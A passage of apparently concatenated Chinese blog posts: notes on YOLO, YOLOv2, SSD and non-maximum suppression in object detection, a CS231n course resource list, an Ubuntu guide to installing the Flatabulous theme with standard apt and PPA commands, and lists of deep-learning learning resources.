　　作者训练YOLO网络是分步骤进行的：首先，作者从上图网络中取出前20个conv层，然后自己添加了一个average pooling层和一个fc层，用1000类的ImageNet数据与训练。在ImageNet 2012上用224*224d的图像训练后得到的top5准确率是88%。然后，作者在20个预训练好的conv层后添加了4个新的conv层和2个fc层，并采用随即参数初始化这些新添加的层，在fine-tune新层时，作者选用448*448图像训练。最后一个fc层可以预测物体属于不同类的概率和bounding box中心点坐标x，y和宽高w，h。bounding box的宽高是相对于图像宽高归一化后得到的，bounding box的中心位置坐标是相对于某一个网格的位置坐标进行过归一化，因此x，y，w，h均介于0到1之间。

代价函数如下：

　　在设计Loss函数时，有两个主要的问题：1.对于最后一层长度为7*7*30长度预测结果，计算预测loss通常会选用平方和误差。然而这种Loss函数的位置误差和分类误差是1:1的关系。2.整个图有7*7个网格，大多数网格实际不包含物体（当物体的中心位于网格内才算包含物体），如果只计算Pr(Class_i)，很多网格的分类概率为0，网格loss呈现出稀疏矩阵的特性，使得Loss收敛效果变差，模型不稳定。为了解决上述问题，作者采用了一系列方案：

1. 增加bounding box坐标预测的loss权重，降低bounding box分类的loss权重。坐标预测和分类预测的权重分别是λ_coord=5，λ_noobj=0.5。
2. 平方和误差对于大和小的bounding box的权重是相同的，作者为了降低不同大小bounding box宽高预测的方差，采用了平方根形式计算宽高预测loss，即sqrt(w)和sqrt(h)。

　　训练Loss组成形式较为复杂，这里不作列举，如有兴趣可以参考作者原文慢慢理解体会。

(3) 测试

　　作者选用PASAL VOC图像测试训练得到的YOLO网络，每幅图会预测得到98个(7*7*2)个bouding box及相应的类概率。通常一个cell可以直接预测出一个物体对应的bounding box，但是对于某些尺寸较大或靠近图像边界的物体，需要多个网格预测的结果通过非极大抑制处理生成。虽然YOLO对于非极大抑制的依赖不及R-CNN和DPM，但非极大抑制确实可以将mAP提高2到3个点。

6.2 方法对比

作者将YOLO目标检测与识别方法与其他几种经典方案进行比较可知：

DPM(Deformable parts models) : DPM是一种基于滑窗方式的目标检测方法，基本流程包括几个独立的环节：特征提取，区域划分，基于高分值区域预测bounding box。YOLO采用端到端的训练方式，将特征提取、候选框预测，非极大抑制及目标识别连接在一起，实现了更快更准的检测模型。

R-CNN ：R-CNN方案分需要先用Seletive Search方法提取proposal,然后用CNN进行特征提取，最后用SVM训练分类器。如此方案，诚繁琐也！YOLO精髓思想与其类似，但是通过共享卷积特征的方式提取proposal和目标识别。另外，YOLO用网格对proposal进行空间约束，避免在一些区域重复提取Proposal，相较于Seletive Search提取2000个proposal进行R-CNN训练，YOLO只需要提取98个proposal，这样训练和测试速度怎能不快？

Fast R-CNN、Faster R-CNN、Fast DPM : Fast R-CNN和Faster R-CNN分别替换了SVMs训练和Selective Seach提取proposal的方式，在一定程度上加速了训练和测试速度，但其速度依然无法和YOLO相比。同理，将DPM优化在GPU上实现也无出YOLO之右。

6.3 实验

(1) 实时检测识别系统对比

(2) VOC2007准确率比较

(3) Fast-R-CNN和YOLO错误分析

如图所示，不同区域分别表示不同的指标：

• Correct：正确检测和识别的比例，即分类正确且IOU>0.5
• Localization：分类正确，但0.1<IOU<0.5
• Similar：类别相似，IOU>0.1
• Other：分类错误，IOU>0.1
• Background：对于任何目标IOU<0.1

　　可以看出，YOLO在定位目标位置时准确度不及Fast R-CNN。YOLO的error中，目标定位错误占据的比例最大，比Fast R-CNN高出了10个点。但是，YOLO在定位识别背景时准确率更高，可以看出Fast R-CNN假阳性很高（Background=13.6%，即认为某个框是目标，但是实际里面不含任何物体）。

(4) VOC2012准确率比较

　　由于YOLO在目标检测和识别是处理背景部分优势更明显，因此作者设计了Fast R-CNN+YOLO检测识别模式，即先用R-CNN提取得到一组bounding box，然后用YOLO处理图像也得到一组bounding box。对比这两组bounding box是否基本一致，如果一致就用YOLO计算得到的概率对目标分类，最终的bouding box的区域选取二者的相交区域。Fast R-CNN的最高准确率可以达到71.8%，采用Fast R-CNN+YOLO可以将准确率提升至75.0%。这种准确率的提升是基于YOLO在测试端出错的情况不同于Fast R-CNN。虽然Fast R-CNN_YOLO提升了准确率，但是相应的检测识别速度大大降低，因此导致其无法实时检测。

　　使用VOC2012测试不同算法的mean Average Precision，YOLO的mAP=57.9%，该数值与基于VGG16的RCNN检测算法准确率相当。对于不同大小图像的测试效果进行研究，作者发现：YOLO在检测小目标时准确率比R-CNN低大约8~10%，在检测大目标是准确率高于R-CNN。采用Fast R-CNN+YOLO的方式准确率最高，比Fast R-CNN的准确率高了2.3%。

5.4 总结

　　YOLO是一种支持端到端训练和测试的卷积神经网络，在保证一定准确率的前提下能图像中多目标的检测与识别。

7. YOLO2

论文出处：YOLO9000: Better, Faster, Stronger
论文作者：Joseph Redmon, Ali Farhadi
项目主页：https://pjreddie.com/darknet/yolo/

　　时隔一年，YOLO（You Only Look Once: Unified, Real-Time Object Detection）从v1版本进化到了v2版本，作者在darknet主页先行一步放出源代码，论文在我们等候之下终于在12月25日发布出来，本文对论文重要部分进行了翻译理解工作，不一定完全对，如有疑问，欢迎讨论。博主如果有新的理解，也会更新文章，或者新写一篇。

　　新的YOLO版本论文全名叫“YOLO9000: Better, Faster, Stronger”，主要有两个大方面的改进：

• 第一，作者使用了一系列的方法对原来的YOLO多目标检测框架进行了改进，在保持原有速度的优势之下，精度上得以提升。VOC 2007数据集测试，67FPS下mAP达到76.8%，40FPS下mAP达到78.6%，基本上可以与Faster R-CNN和SSD一战。
• 第二，作者提出了一种目标分类与检测的联合训练方法，通过这种方法，YOLO9000可以同时在COCO和ImageNet数据集中进行训练，训练后的模型可以实现多达9000种物体的实时检测。

更多内容请参考：

• YOLOv2 论文笔记
• YOLO2 - 知乎专栏

8. SSD

论文：SSD: Single Shot MultiBox Detector

YOLO在 7×7 的框架下识别物体，遇到大量小物体时，难以处理。
SSD则在不同层级的feature map下进行识别，能够覆盖更多范围。

假设在 m 层 feature map 上进行识别，则第 k 层的基本比例为

比如 s_min=0.2，s_max=0.95，表示整张图片识别物体所占比最小 0.2，最大 0.95。

在基本比例上，再取多个长宽比，令 a={1, 2, 3, 1/2, 1/3}，长宽分别为：

Match策略上，取ground truth与以上生成的格子重叠率大于0.5的。

9. SSD vs YOLO

位置采用Smooth L1 Regression，分类采用Softmax。
代价函数为：

$$
L = L_{conf}(x, c) + \alpha \cdot L_{loc}(c, l, g)
$$

x 表示类别输出，c 表示目标分类，l 表示位置输出，g 表示目标位置, α是比例常数，可取1。
训练过程中负点远多于正点，所以只取负点中，概率最大的几个，数量与正点成 3:1 。

10. NMS

论文出处：Efficient Non-Maximum Suppression
发表于：Pattern Recognition, 2006. ICPR 2006. 18th International Conference on

以上方法，同一物体可能有多个预测值。
可用NMS(Non-maximum suppression，非极大值抑制)来去重。

如上图所示，一共有6个识别为人的框，每一个框有一个置信率。
现在需要消除多余的:

• 按置信率排序: 0.95，0.9，0.9，0.8，0.7，0.7；
• 取最大0.95的框为一个物体框；
• 剩余5个框中，去掉与0.95框重叠率大于0.6(可以另行设置)，则保留0.9，0.8，0.7三个框；
• 重复上面的步骤，直到没有框了，0.9为一个框；
• 选出来的为: 0.95，0.9。

两个矩形的重叠率计算方式如下:

补充阅读：

• NMS — 非极大值抑制
• 非最大抑制（NMS）
• 非极大值抑制（Non-maximum suppression）
• 非极大值抑制（Non-maximum suppression）在物体检测领域的应用

11. xywh VS xyxy

系列论文中，位置都用 (x,y,w,h)来表示，没有用左上角、右下角 (x,y,x,y) 来表示。
初衷是当 (w,h)正确时，(x,y) 一点错，会导致整个框就不准了。
在初步的实际实验中，(x,y,x,y) 效果要差一些。

背后的逻辑，物体位置用 (x,y,w,h) 来学习比较容易。
(x,y) 只需要位置相关的加权就能计算出来；
(w,h) 就更简单了，直接特征值相加即可。

Reference

• 深度学习检测方法梳理
• RCNN-> SPP net -> Fast RCNN -> Faster RCNN
• 深度学习进行目标识别的资源列表
• 图像语义分割之FCN和CRF
• Object Detection
• Detection
• [Detection] CNN 之 “物体检测” 篇
• [译] 基于R-FCN的物体检测 (zhwhong)

(本文部分转载自：深度学习检测方法梳理，原作者venus024，但是额外补充了一些其他相关内容，仅供学习交流使用，不得用于商业途径，转载请联系作者并注明出处，谢谢。)

CS231n课程：面向视觉识别的卷积神经网络

• 课程官网：CS231n: Convolutional Neural Networks for Visual Recognition
• Github：https://github.com/cs231n/cs231n.github.io | http://cs231n.github.io/
• 教学安排及大纲：Schedule and Syllabus
• 课程视频：Youtube上查看Andrej Karpathy创建的播放列表，或者网易云课堂
• 课程pdf及视频下载：百度网盘下载，密码是4efx

授课 (Stanford Vision Lab)

• Fei-Fei Li (Associate Professor, Stanford University)
• Andrej Karpathy | Github | Blog | Twitter
• Justin Johnson | Github

课程原文 & 作业 & 中文翻译笔记

• 知乎专栏：智能单元
• 作者：杜客 (在此对作者表示特别感谢！)

• 贺完结！CS231n官方笔记授权翻译总集篇发布
• 获得授权翻译斯坦福CS231n课程笔记系列
• CS231n课程笔记翻译：Python Numpy教程 | 课程原文
• CS231n课程笔记翻译：图像分类笔记（上） | 课程原文
• CS231n课程笔记翻译：图像分类笔记（下）
• CS231n课程笔记翻译：线性分类笔记（上） | 课程原文
• CS231n课程笔记翻译：线性分类笔记（中）
• CS231n课程笔记翻译：线性分类笔记（下）
• 知友智靖远关于CS231n课程字幕翻译的倡议
• CS231n课程笔记翻译：最优化笔记（上） | 课程原文
• CS231n课程笔记翻译：最优化笔记（下）
• CS231n课程笔记翻译：反向传播笔记 | 课程原文
• 斯坦福CS231n课程作业 # 1 简介 | 课程原文
• CS231n课程笔记翻译：神经网络笔记 1（上） | 课程原文
• CS231n课程笔记翻译：神经网络笔记 1（下）
• CS231n课程笔记翻译：神经网络笔记 2 | 课程原文
• CS231n课程笔记翻译：神经网络笔记 3（上） | 课程原文
• CS231n课程笔记翻译：神经网络笔记 3（下）
• 斯坦福CS231n课程作业 # 2 简介 | 课程原文
• CS231n课程笔记翻译：卷积神经网络笔记 | 课程原文
• 斯坦福CS231n课程作业 # 3 简介 | 课程原文
• Andrej Karpathy的回信和Quora活动邀请
• 知行合一码作业，深度学习真入门

【附录 - Assignment】：

• [简书] CS231n (winter 2016) : Assignment1
• [简书] CS231n (winter 2016) : Assignment2
• [简书] CS231n (winter 2016) : Assignment3（更新中）
• [Github] CS231n作业 参考1 | 参考2 ……

(再次感谢智能单元-知乎专栏，以及知乎作者@杜客和相关朋友@ShiqingFan，@猴子，@堃堃，@李艺颖等为CS231n课程翻译工作做出的贡献，辛苦了！)

其他课程整理：

• [斯坦福CS224d课程整理] Natural Language Processing with Deep Learning @ zhwhong
• [斯坦福CS229课程整理] Machine Learning Autumn 2016 @ zhwhong
• [coursera 机器学习课程] Machine Learning by Andrew Ng @ zhwhong

使用ubuntu的小伙伴们，不知道你们对ubuntu自带主题有什么看法，反正我个人不太喜欢，个人比较喜欢扁平化的风格。
下面给大家推荐一个我长期使用的扁平化风格的主题－Flatabulous 。
先看一下我的桌面(个人比较偏向单色调，不要在意这些细节啦)：

那么Flatabulous到底是什么呢？
　　“This is a Flat theme for Ubuntu and other debian based Linux Systems. This is based on the Ultra-Flat theme. Special thanks to @steftrikia and Satyajit Sahoo for the original work.”
哈哈，不卖关子了，它其实就是一个超级好看的扁平化Ubuntu主题。

下面就开始说说怎么安装它吧~

[ 安装 ]

Step 1　安装 Unity Tweak Tool

要安装这个主题，首先要安装Unity Tweak Tool或者Ubuntu Tweak Tool。

安装Unity Tweak Tool可以很简单地执行如下命令：

1

$ sudo apt-get install unity-tweak-tool

安装Ubuntu Tweak Tool可以使用如下命令：

1
2
3

$ sudo add-apt-repository ppa:tualatrix/ppa  
$ sudo apt-get update
$ sudo apt-get install ubuntu-tweak

或者跑到它们的网站下载.deb文件(推荐)，打开Ubuntu软件中心安装或者使用命令dpkg -i(推荐)安装。

注：If you are on Ubuntu 16.04 or higher, run the commands below to install Ubuntu Tweak:

1
2
3
4

$ wget -q -O - http://archive.getdeb.net/getdeb-archive.key | sudo apt-key add -
$ sudo sh -c 'echo "deb http://archive.getdeb.net/ubuntu xenial-getdeb apps" >> /etc/apt/sources.list.d/getdeb.list'
$ sudo apt-get update
$ sudo apt-get install ubuntu-tweak

安装完毕后，我们可以就搜到Ubuntu Tweak这款软件了，如下图：

Step 2　安装Flatabulous主题

方式1：Using the .deb file for Debian, Ubuntu and derivatives (Recommended)

下载.deb文件，点击这里，下载后，打开Ubuntu软件中心或者使用命令dpkg -i（推荐）安装。

方式2：Using the noobslab PPA

1
2
3

$ sudo add-apt-repository ppa:noobslab/themes
$ sudo apt-get update
$ sudo apt-get install flatabulous-theme

方式3：下载Flatabulous源码

下载主题源码，点击这里，或者使用git克隆下来，Github仓库地址： https://github.com/anmoljagetia/Flatabulous
如果下载的是zip文件，先将其解压，然后移动到/usr/share/themes/下。如果是git clone下来的，直接执行下如下命令：

1

$ sudo mv Flatabulous /usr/share/themes/

Step 3　Tweak配置

我们打开Ubuntu Tweak，选择调整->主题，如下：

然后，配置GTK主题和窗口主题，选择Flatabulous，如下：

你们可以模仿我的配置，不过此时还有一个问题，就是你发现图标主题没有Ultra-Flat选项，这个icon需要额外下载，原生的Tweak里面并没有。

对于图标，我使用的是ultra-flat-icons主题。有蓝色（推荐），橙色和薄荷绿颜色可用。要安装它，你可以运行下面的命令：

1
2
3

$ sudo add-apt-repository ppa:noobslab/icons
$ sudo apt-get update
$ sudo apt-get install ultra-flat-icons

或者你也可以运行sudo apt-get install ultra-flat-icons-orange或者 sudo apt-get install ultra-flat-icons-green。
根据你自己喜欢的颜色选择，我推荐的是扁平图标，但是你也可以看看Numix和Flattr。

图标安装好后，再打开Ubuntu Tweak，选择 调整->主题，选择图标主题为Ultra-Flat。

安装完以后，只需要在theme进行相应的配置，然后换一个自己喜欢的桌面壁纸，我们就能看到超级好看的ubuntu啦。如果不行，重启计算机，应该就可以了。重启之后你的计算机看起来差不多是这样的：

[ 部分效果图截图 ]

文件管理

Theme with Sublime Text 3 and JavaScript Code

系统设置

Posters

Terminal

[ Reference ]

• Flatabulous：超级好看的Ubuntu 扁平主题
• Github -> Flatabulous

(转载请注明原作者及出处, 谢谢！)

Awesome系列　

• Awesome Machine Learning
• Awesome Deep Learning
• Awesome TensorFlow
• Awesome TensorFlow Implementations
• Awesome Torch
• Awesome Computer Vision
• Awesome Deep Vision
• Awesome RNN
• Awesome NLP
• Awesome AI
• Awesome Deep Learning Papers
• Awesome 2vec

Deep Learning

• [Book] Neural Networks and Deep Learning 中文翻译(不完整): 神经网络与深度学习 第五章中文翻译: [译] 第五章 深度神经网络为何很难训练
• [Book] Deep Learning - MIT Press
• [Book] Pattern Recognition and Machine Learning (Bishop) | 豆瓣 | PRML & DL笔记 | GitBook
• [Course] Deep Learning - Udacity
• [Course] Machine Learning by Andrew Ng - Coursera | 课程资料整理 @ zhwhong
• [Course] Convolutional Neural Networks for Visual Recognition(CS231n) | 课程资料整理 @ zhwhong
• [Course] Deep Learning for Natural Language Processing(CS224d) | 课程资料整理 @ zhwhong
• [View] Top Deep Learning Projects on Github
• [View] Deep Learning for NLP resources
• [View] 资源 | 深度学习资料大全：从基础到各种网络模型
• [View] Paper | DL相关论文中文翻译
• [View] 深度学习新星：GAN的基本原理、应用和走向
• [View] 推荐 | 九本不容错过的深度学习和神经网络书籍
• [View] Github好东西传送门 –> 深度学习入门与综述资料

Frameworks

• TensorFlow (by google)
• MXNet
• Torch (by Facebook)
• [Caffe (by UC Berkley)(http://caffe.berkeleyvision.org/)
• [Deeplearning4j(http://deeplearning4j.org)
• Brainstorm
• Theano、Chainer、Marvin、Neon、ConvNetJS

TensorFlow

• 官方文档
• TensorFlow Tutorial
• TensorFlow 官方文档中文版
• TensorFlow Whitepaper
• [译] TensorFlow白皮书
• [API] API Document

入门教程

• [教程] Learning TensorFlow
• TensorFlow-Tutorials @ github (推荐)
• Awesome-TensorFlow (推荐)
• TensorFlow-Examples @ github
• tensorflow_tutorials @ github

分布式教程

• Distributed TensorFlow官方文档
• distributed-tensorflow-example @ github (推荐)
• DistributedTensorFlowSample @ github
• Parameter Server

Paper (Model)

CNN Nets

• LeNet
• AlexNet
• OverFeat
• NIN
• GoogLeNet
• Inception-V1
• Inception-V2
• Inception-V3
• Inception-V4
• Inception-ResNet-v2
• ResNet 50
• ResNet 101
• ResNet 152
• VGG 16
• VGG 19

(注：图片来自 Github : TensorFlow-Slim image classification library)

额外参考：

• [ILSVRC] 基于OverFeat的图像分类、定位、检测
• [卷积神经网络-进化史] 从LeNet到AlexNet
• [透析] 卷积神经网络CNN究竟是怎样一步一步工作的？
• GoogLenet中，1X1卷积核到底有什么作用呢？
• 深度学习 — 反向传播(BP)理论推导
• 无痛的机器学习第一季目录 - 知乎

Object Detection

• R-CNN
• Fast R-CNN
• Faster R-CNN
• FCN
• R-FCN
• YOLO
• SSD

额外参考：

• [Detection] CNN 之 “物体检测” 篇
• 计算机视觉中 RNN 应用于目标检测
• Machine Learning 硬件投入调研

RNN & LSTM

• [福利] 深入理解 RNNs & LSTM 网络学习资料 @ zhwhong
• [RNN] Simple LSTM代码实现 & BPTT理论推导 @ zhwhong
• 计算机视觉中 RNN 应用于目标检测 @ zhwhong
• [推荐] Understanding LSTM Networks @ colah | 理解LSTM网络[简书] @ Not_GOD
• The Unreasonable Effectiveness of Recurrent Neural Networks @ Andrej Karpathy
• LSTM Networks for Sentiment Analysis (theano官网LSTM教程+代码)
• Recurrent Neural Networks Tutorial @ WILDML
• Anyone Can Learn To Code an LSTM-RNN in Python (Part 1: RNN) @ iamtrask

Stanford 机器学习课程整理

• [coursera 机器学习课程] Machine Learning by Andrew Ng @ zhwhong
• [斯坦福CS231n课程整理] Convolutional Neural Networks for Visual Recognition（附翻译，下载） @ zhwhong
• [斯坦福CS224d课程整理] Natural Language Processing with Deep Learning @ zhwhong
• [斯坦福CS229课程整理] Machine Learning Autumn 2016 @ zhwhong

( 个人整理，未经允许禁止转载，授权转载请注明作者及出处，谢谢！)